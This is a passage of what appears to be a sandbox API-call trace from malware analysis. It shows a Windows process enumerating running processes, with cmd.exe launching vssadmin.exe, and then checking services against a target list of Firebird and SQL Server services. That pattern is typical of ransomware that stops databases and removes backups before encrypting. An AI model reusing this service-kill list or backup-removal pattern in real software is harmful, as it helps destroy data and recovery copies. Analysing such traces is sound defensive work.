pcPriClassBase=8, dwFlags=0x0, szExeFile="extensions.exe")) returned 1 [0045.015] lstrlenW (lpString="extensions.exe") returned 14 [0045.015] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="desperate.exe")) returned 1 [0045.015] lstrlenW (lpString="desperate.exe") returned 13 [0045.015] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="professor-mo.exe")) returned 1 [0045.015] lstrlenW (lpString="professor-mo.exe") returned 16 [0045.015] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="guidance.exe")) returned 1 [0045.015] lstrlenW (lpString="guidance.exe") returned 12 [0045.015] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="week.exe")) returned 1 [0045.016] lstrlenW (lpString="week.exe") returned 8 [0045.016] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="brazilian river delay.exe")) returned 1 [0045.016] lstrlenW (lpString="brazilian river delay.exe") returned 25 [0045.016] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sn featured.exe")) returned 1 [0045.016] lstrlenW (lpString="sn featured.exe") returned 15 [0045.016] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="edgar_academic_dvd.exe")) returned 1 [0045.017] lstrlenW (lpString="edgar_academic_dvd.exe") returned 22 [0045.017] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="floor_relate_welfare.exe")) returned 1 [0045.017] lstrlenW (lpString="floor_relate_welfare.exe") returned 24 [0045.017] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0045.017] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0045.017] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x950, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ContinuumLoosely.exe")) returned 1 [0045.017] lstrlenW (lpString="ContinuumLoosely.exe") returned 20 [0045.017] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobsync.exe")) returned 1 [0045.018] lstrlenW (lpString="mobsync.exe") returned 11 [0045.018] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x950, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0045.018] lstrlenW (lpString="cmd.exe") returned 7 [0045.018] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0045.018] lstrlenW (lpString="conhost.exe") returned 11 [0045.018] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x9cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0045.019] lstrlenW (lpString="vssadmin.exe") returned 12 [0045.019] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0045.019] lstrlenW (lpString="VSSVC.exe") returned 9 [0045.019] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 0 [0045.019] CloseHandle (hObject=0x3d8) returned 1 [0045.019] Sleep (dwMilliseconds=0x1f4) [0045.884] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x806ae0 [0045.884] EnumServicesStatusExW (in: hSCManager=0x806ae0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0) returned 0 [0045.885] GetLastError () returned 0xea [0045.885] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x12c6) returned 0x4f30020 [0045.885] EnumServicesStatusExW (in: hSCManager=0x806ae0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4f30020, cbBufSize=0x12c6, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4f30020, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0) returned 1 [0045.886] CloseServiceHandle (hSCObject=0x806ae0) returned 1 [0045.886] lstrlenW (lpString="Appinfo") returned 7 [0045.886] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0045.886] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0045.886] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0045.886] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0045.886] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0045.886] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0045.886] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0045.886] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0045.886] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0045.886] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0045.886] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0045.886] lstrlenW (lpString="AudioSrv") returned 8 [0045.886] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0045.886] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0045.886] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0045.887] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0045.887] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0045.887] lstrlenW (lpString="BFE") returned 3 [0045.887] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0045.887] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0045.887] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0045.887] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0045.887] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0045.887] lstrlenW (lpString="CryptSvc") returned 8 [0045.887] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0045.887] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0045.887] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0045.887] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0045.887] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0045.887] lstrlenW (lpString="CscService") returned 10 [0045.887] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0045.887] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0045.887] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0045.887] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0045.887] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0045.887] lstrlenW (lpString="DcomLaunch") returned 10 [0045.887] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0045.887] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0045.887] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0045.887] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0045.887] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0045.887] lstrlenW (lpString="Dhcp") returned 4 [0045.887] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0045.887] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0045.887] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0045.887] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0045.887] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0045.887] lstrlenW (lpString="Dnscache") returned 8 [0045.888] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0045.888] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0045.888] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0045.888] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0045.888] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0045.888] lstrlenW (lpString="DPS") returned 3 [0045.888] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0045.888] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0045.888] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0045.888] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0045.888] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0045.888] lstrlenW (lpString="eventlog") returned 8 [0045.888] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0045.888] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0045.888] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0045.888] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0045.888] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0045.888] lstrlenW (lpString="EventSystem") returned 11 [0045.888] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0045.888] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0045.888] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0045.888] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0045.888] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0045.888] lstrlenW (lpString="gpsvc") returned 5 [0045.888] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0045.888] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0045.888] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0045.888] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0045.888] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0045.888] lstrlenW (lpString="iphlpsvc") returned 8 [0045.888] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0045.888] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0045.889] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0045.889] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0045.889] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0045.889] lstrlenW (lpString="LanmanServer") returned 12 [0045.889] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0045.889] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0045.889] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0045.889] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0045.889] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0045.889] lstrlenW (lpString="LanmanWorkstation") returned 17 [0045.889] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0045.889] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0045.889] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0045.889] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0045.889] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0045.889] lstrlenW (lpString="lmhosts") returned 7 [0045.889] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0045.889] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0045.890] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0045.890] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0045.890] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0045.890] lstrlenW (lpString="MMCSS") returned 5 [0045.890] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0045.890] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0045.890] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0045.890] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0045.890] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0045.890] lstrlenW (lpString="MpsSvc") returned 6 [0045.890] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0045.890] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0045.890] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0045.890] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0045.890] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0045.890] lstrlenW (lpString="Netman") returned 6 [0045.890] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0045.890] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0045.890] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0045.890] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0045.890] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0045.891] lstrlenW (lpString="netprofm") returned 8 [0045.891] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0045.891] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0045.891] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0045.891] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0045.891] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0045.891] lstrlenW (lpString="NlaSvc") returned 6 [0045.891] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0045.891] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0045.891] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0045.891] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0045.891] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0045.891] lstrlenW (lpString="nsi") returned 3 [0045.891] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0045.891] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0045.891] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0045.891] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0045.891] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0045.891] lstrlenW (lpString="PcaSvc") returned 6 [0045.891] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0045.891] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0045.891] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0045.891] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0045.891] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0045.891] lstrlenW (lpString="PlugPlay") returned 8 [0045.891] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0045.891] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0045.891] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0045.891] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0045.891] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0045.891] lstrlenW (lpString="Power") returned 5 [0045.891] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0045.892] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0045.892] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0045.892] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0045.892] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0045.892] lstrlenW (lpString="ProfSvc") returned 7 [0045.892] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0045.892] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0045.892] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0045.892] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0045.892] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0045.892] lstrlenW (lpString="RpcEptMapper") returned 12 [0045.892] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0045.892] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0045.892] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0045.892] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0045.892] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0045.892] lstrlenW (lpString="RpcSs") returned 5 [0045.892] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0045.892] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0045.892] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0045.892] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0045.892] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0045.892] lstrlenW (lpString="SamSs") returned 5 [0045.892] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0045.892] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0045.892] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0045.892] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0045.892] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0045.892] lstrlenW (lpString="Schedule") returned 8 [0045.892] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0045.892] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0045.892] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0045.893] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0045.893] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0045.893] lstrlenW (lpString="SENS") returned 4 [0045.893] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0045.893] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0045.893] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0045.893] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0045.893] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0045.893] lstrlenW (lpString="ShellHWDetection") returned 16 [0045.893] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0045.893] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0045.893] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0045.893] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0045.893] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0045.893] lstrlenW (lpString="Spooler") returned 7 [0045.893] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0045.893] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0045.893] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0045.893] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0045.893] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0045.893] lstrlenW (lpString="swprv") returned 5 [0045.893] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0045.893] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0045.893] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0045.893] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0045.893] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0045.893] lstrlenW (lpString="SysMain") returned 7 [0045.893] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0045.893] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0045.893] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0045.893] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0045.893] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0045.894] lstrlenW (lpString="Themes") returned 6 [0045.894] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0045.894] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0045.894] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0045.894] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0045.894] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0045.894] lstrlenW (lpString="TrkWks") returned 6 [0045.894] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0045.894] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0045.894] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0045.894] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0045.894] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0045.894] lstrlenW (lpString="UxSms") returned 5 [0045.894] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0045.894] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0045.894] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0045.894] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0045.894] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0045.894] lstrlenW (lpString="VSS") returned 3 [0045.894] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0045.894] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0045.894] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0045.894] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0045.894] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0045.894] lstrlenW (lpString="WdiServiceHost") returned 14 [0045.894] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0045.894] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0045.894] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0045.894] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0045.894] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0045.894] lstrlenW (lpString="WdiSystemHost") returned 13 